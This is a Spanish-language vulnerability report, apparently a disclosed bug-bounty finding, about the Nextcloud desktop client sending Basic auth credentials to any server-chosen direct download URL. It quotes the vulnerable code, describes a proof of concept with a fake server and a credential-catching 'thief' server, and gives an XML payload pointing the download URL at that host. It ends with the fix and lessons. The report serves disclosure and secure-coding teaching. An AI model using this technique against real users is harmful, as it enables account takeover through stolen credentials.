Resumen
El cliente de escritorio de Nextcloud permite que el servidor indique una URL de descarga directa para un fichero (directDownloadUrl, que llega en la propiedad oc:downloadURL de las respuestas WebDAV). El problema es que, al seguir esa URL, el cliente adjuntaba automáticamente la cabecera Authorization con el usuario y la contraseña codificados en Base64 sin comprobar antes a qué dominio apuntaba.
Como la URL la elige el servidor, un servidor Nextcloud malicioso (o uno comprometido) podía apuntar directDownloadUrl a un host controlado por el atacante y recibir en esa petición las credenciales del usuario.
La causa raíz tiene dos piezas que se juntan:
- Al construir la descarga directa no se marcaba la petición con
DontAddCredentialsAttribute. - El gestor de credenciales añade la cabecera
Authorizationa toda petición que no lleve esa marca, sin mirar el origen de destino.
El código vulnerable está en src/libsync/propagatedownload.cpp (rama de descarga directa):
} else {
// We were provided a direct URL, use that one
qCInfo(lcPropagateDownload) << "directDownloadUrl given for " << _item->_file << _item->_directDownloadUrl;
if (!_item->_directDownloadCookies.isEmpty()) {
headers["Cookie"] = _item->_directDownloadCookies.toUtf8();
}
QUrl url = QUrl::fromUserInput(_item->_directDownloadUrl);
_job = new GETFileJob(propagator()->account(), // ← pasa el objeto de cuenta
url,
&_tmpFile, headers, expectedEtagForResume, _resumeStart, this);
// Falta: req.setAttribute(HttpCredentials::DontAddCredentialsAttribute, true);
}
La inyección automática de la cabecera ocurre en src/libsync/creds/httpcredentials.cpp:
QNetworkReply *createRequest(Operation op, const QNetworkRequest &request, QIODevice *outgoingData) override
{
QNetworkRequest req(request);
if (!req.attribute(HttpCredentials::DontAddCredentialsAttribute).toBool()) {
// ← Si DontAddCredentialsAttribute NO está puesto, se añaden las credenciales
if (_cred && !_cred->password().isEmpty()) {
QByteArray credHash = QByteArray(_cred->user().toUtf8() + ":" + _cred->password().toUtf8()).toBase64();
req.setRawHeader("Authorization", "Basic " + credHash); // ← inyectada automáticamente
}
}
return AccessManager::createRequest(op, req, outgoingData);
}
No hay ninguna comprobación de que la URL de descarga sea el mismo origen que el servidor, un dominio de confianza o un host externo: la cabecera va igual a todos.
Pasos de reproducción
La prueba de concepto monta dos servidores locales sencillos y añade una cuenta en el cliente de escritorio apuntando al primero:
- Servidor "ladrón" (puerto 9911): un pequeño servidor HTTP que, por cada petición que recibe, lee la cabecera
Authorizationy descodifica el Base64 para mostrar las credenciales capturadas. Es el host "externo" al que apuntará la URL de descarga.
- Servidor Nextcloud falso (puerto 8811): responde a
status.php, a las capabilities y al flujo de Login Flow v2 como un Nextcloud real, de modo que el cliente acepte conectarse y obtenga una contraseña de aplicación. La clave está en la respuestaPROPFINDdel listado de ficheros, donde devuelve un documento cuya URL de descarga directa apunta al servidor ladrón:
``xml <oc:downloadURL>http://localhost:9911/steal</oc:downloadURL> ``
- En el cliente de escritorio de Nextcloud: añadir cuenta → iniciar sesión contra
http://localhost:8811, completar el login en el navegador con unas credenciales de prueba y conectar una carpeta local para que sincronice.
- Al intentar descargar el documento, el cliente sigue el
directDownloadUrlhacia el host del atacante y le envía la cabeceraAuthorization. En el servidor ladrón aparece la petición con las credenciales:
``text [GET] /steal [SUCCESS] Stolen User Credentials: [REDACTADO]:[REDACTADO] (Raw: Basic [REDACTADO]) ``
Impacto
El atacante recibe el usuario y la contraseña (en la práctica, la contraseña de aplicación con la que el cliente se autentica) en texto claro tras descodificar el Base64. Con esas credenciales puede acceder a la cuenta de la víctima y a todo lo asociado a ella: ficheros personales, documentos, contactos, calendarios y recursos compartidos.
El vector requiere que la víctima conecte su cliente a un servidor controlado o comprometido por el atacante, pero basta una petición de descarga para filtrar las credenciales. El programa clasificó la debilidad como Insufficiently Protected Credentials y la severidad como media, y pagó recompensa (importe no público).
Remediación
La corrección consiste en no enviar las credenciales a destinos de descarga que no sean de confianza: marcar la petición de descarga directa con DontAddCredentialsAttribute cuando la URL no coincide con el origen del propio servidor, de forma que el gestor de credenciales no inyecte la cabecera Authorization hacia hosts externos.
Qué aprender de este caso
- Cuando un cliente deja que el servidor le indique una URL a la que ir (
directDownloadUrl, redirecciones, callbacks, URLs de CDN), revisa si las credenciales de la sesión viajan automáticamente a ese destino: el punto a auditar es el interceptor que añade la cabeceraAuthorization/Cookiea toda petición sin mirar el host. - Las credenciales de autenticación básica deben ir solo al mismo origen. Antes de adjuntarlas, compara el host (y esquema/puerto) del destino con el del servidor y, si difieren, omite la cabecera; en Qt eso es precisamente el
DontAddCredentialsAttributeque aquí faltaba. - Una pista de diseño a vigilar: la existencia de un campo aparte para las cookies de la descarga (
directDownloadCookies) sugería que las URLs externas debían autenticarse por separado; cuando el código ofrece un canal de credenciales específico para un caso pero el genérico sigue filtrando las de la sesión, suele haber ahí una fuga.